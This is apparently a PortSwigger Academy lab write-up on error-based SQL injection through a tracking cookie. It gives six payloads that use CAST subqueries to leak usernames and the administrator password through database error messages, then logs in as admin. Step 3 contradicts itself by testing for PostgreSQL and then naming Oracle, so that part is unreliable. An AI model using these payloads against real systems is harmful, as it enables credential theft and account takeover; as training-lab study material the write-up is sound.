Skip to main content

🗂️PortSwigger Lab Writeup: Visible Error-Based SQL Injection

Screenshot of PortSwigger SQL injection lab homepage

🎯 Objective​

The objective of this lab is to exploit a Error-based SQL injection vulnerability in a web application where the application executes a SQL query with tracking cookie in an unsafe way to track the users for analytics and our goal is to extract the administrator password from the table users and log in as administrator.

  • Lab URL: https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
  • Category: SQL Injection
  • Difficulty: Practitioner

💉 Payloads Used​

1. For confirming blind SQL injection​

  • Payload 1 - ✅
CjAlroXyyFH7q8lH'

2. For determining database​

  • Payload 2 - ✅
CjAlroXyyFH7q8lH'--
  • Payload 3 - ✅
CjAlroXyyFH7q8lH' AND LENGTH((SELECT 'a'))>0--

3. For confirming user table​

  • Payload 4 - ❌
CjAlroXyyFH7q8lH' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
  • Payload 5 - ✅
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

4. For determining password​

  • Payload 6 - ✅
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

🧪 Exploitation Steps​

🕵️Step 1: Observe the Website​

  • Open the lab URL in your browser and explore its functionality. Website interface showing product categories
    Website interface showing login page
  • At first glance, the website seems to be a shopping website with an option to filter products on different categories and also there is a login page. In the lab description, it is mentioned that the vulnerability is in the tracking cookie which is being used directly in a SQL query.

🔍Step 2: Find the Vulnerable Endpoint​

  • Open the BurpSuite and send a request containing the TrackingId cookie to Repeater Tab by Ctrl + R BurpSuite Repeater with TrackingId cookie injection request
  • In the Repeater tab, we will first verify the endpoint for blind sqli by using the payload - CjAlroXyyFH7q8lH' Internal server error with visible SQL error message in BurpSuite
  • Hence, after sending this payload we got the Internal Server Error with visible SQL error message which means our payload got executed successfully breaking the SQL query and revealing the vulnerable endpoint.

🧰Step 3: Determine the database​

  • In order to further exploit the Error-based sqli, we need to know which database is being used in the backend for crafting working payloads.
  • Let's first try --, a comment sequence recognized by both PostgreSQL and Oracle, to ignore the remainder of the SQL query. Testing SQL comment sequence to identify database type
  • Since, it returned response - 200 OK meaning we did not used any non-supported characters and database is from one of the two mentioned databases above.
  • Now, we will use a PostgreSQL database supported payload - CjAlroXyyFH7q8lH' AND LENGTH((SELECT 'a'))>0-- to see if it is a PostgreSQL database or not. Successful execution of PostgreSQL SQLi payload
  • Hence, this payload executed successfully confirming that the application is using Oracle database which will help in crafting working payloads.

🧾Step 4: Confirm the details​

  • Before we directly extract the password, we should verify that if users table exists or not and if there is administrator username exists in the table.
  • We will use the payload - CjAlroXyyFH7q8lH' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- for confirming that users table exists or not.
    info

    The LIMIT 1 clause is used in this payload to ensure that the subquery returns only a single value. Without it, if the subquery targets a table like users that has multiple rows, the database would throw an error saying that the subquery returned more than one row, which is not allowed in a comparison like ='a'. By using LIMIT 1, we restrict the subquery to fetch just one row, making the overall expression valid.

    Error message indicating incomplete payload execution due to character limit
  • Hence, the payload failed and returned an Internal Server Error with visible error message. In the error message, we can see that our whole payload was not included in the SQL query because there might be a character limit.
  • Therefore, we try another payload with a reduced payload length - ' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- Successful payload confirming presence of users table and administrator username
  • Hence, the payload executed successfully confirming the presence of users table in database as well as administrator is the first record in users table.

🔓Step 5: Extract the password​

  • Since, we now know that administrator record is first in the users table when we confirmed if the users table exists or not.
  • Therefore, now we can use this payload to extract the password - ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- Extracted administrator password displayed in SQL error message
  • Hence, the payload successfully returned the password of administrator in SQL error message.

🧑‍💼Step 6: Log in as Administrator​

  • Finally, open the login page and write the credentials of administrator extracted above Login page where administrator credentials are entered
  • And💥Booom!, We got the access of Admin account on the website. Final solved lab confirmation screen
  • And Finally, the Lab is solved.

🧠 Conclusion​

  • In this lab, we saw how an error-based SQL injection in the tracking cookie allowed us to extract the administrator password directly from the database.
  • Because the application directly concatenated the cookie value into the SQL query without any validation or prepared statements, we were able to:
    • Confirm the vulnerability through SQL error messages.
    • Detect the backend database type.
    • Identify the users table.
    • Retrieve sensitive credentials and log in as administrator.
  • This clearly shows how even a single unsanitized input, like a cookie, can lead to full account takeover.